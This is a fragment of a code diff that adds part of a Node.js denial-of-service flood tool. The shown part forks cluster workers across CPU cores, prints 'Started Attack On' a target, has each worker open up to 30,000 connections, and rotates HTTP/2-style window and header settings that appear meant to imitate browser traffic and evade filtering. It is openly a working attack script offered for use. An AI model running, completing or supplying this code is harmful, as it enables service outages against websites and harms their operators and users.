+ }, 1000);
731
+
732
+ setInterval(() => {
733
+ if (timer <= 10) {
734
+ custom_header = custom_header + 1;
735
+ custom_window = custom_window + 1;
736
+ custom_table = custom_table + 1;
737
+ custom_update = custom_update + 1;
738
+ } else {
739
+ custom_table = 65536;
740
+ custom_window = 6291456;
741
+ custom_header = 262144;
742
+ custom_update = 15663105;
743
+ timer = 0;
744
+ }
745
+ }, 10000);
746
+
747
+ if (cluster.isMaster) {
748
+
749
+ const workers = {}
750
+
751
+ Array.from({ length: threads }, (_, i) => cluster.fork({ core: i % os.cpus().length }));
752
+ console.log(`Started Attack On ${target}`);
753
+
754
+ cluster.on('exit', (worker) => {
755
+ cluster.fork({ core: worker.id % os.cpus().length });
756
+ });
757
+
758
+ cluster.on('message', (worker, message) => {
759
+ workers[worker.id] = [worker, message]
760
+ })
761
+ if (debugMode) {
762
+ setInterval(() => {
763
+
764
+ let statuses = {}
765
+ for (let w in workers) {
766
+ if (workers[w][0].state == 'online') {
767
+ for (let st of workers[w][1]) {
768
+ for (let code in st) {
769
+ if (statuses[code] == null)
770
+ statuses[code] = 0
771
+
772
+ statuses[code] += st[code]
773
+ }
774
+ }
775
+ }
776
+ }
777
+ console.clear()
778
+ console.log(new Date().toLocaleString('us'), statuses)
779
+ }, 1000)
780
+ }
781
+
782
+ setInterval(TCP_CHANGES_SERVER, 5000);
783
+ setTimeout(() => process.exit(1), time * 1000);
784
+
785
+ } else {
786
+ let conns = 0
787
+
788
+ let i = setInterval(() => {
789
+ if (conns < 30000) {
790
+ conns++
791
+
792
+ } else {
793
+ clearInterval(i)
794
+ return
795
+ }
796
+ go()
797
+ }, delay);
798
+
799
+
800
+ if (debugMode) {
801
+ setInterval(() => {
802
+ if (statusesQ.length >= 4)
803
+ statusesQ.shift()
804
+
805
+ statusesQ.push(statuses)
806
+ statuses = {}
807
+ process.send(statusesQ)
808
+ }, 250)
809
+ }
810
+
811
+ setTimeout(() => process.exit(1), time * 1000);
812
+ }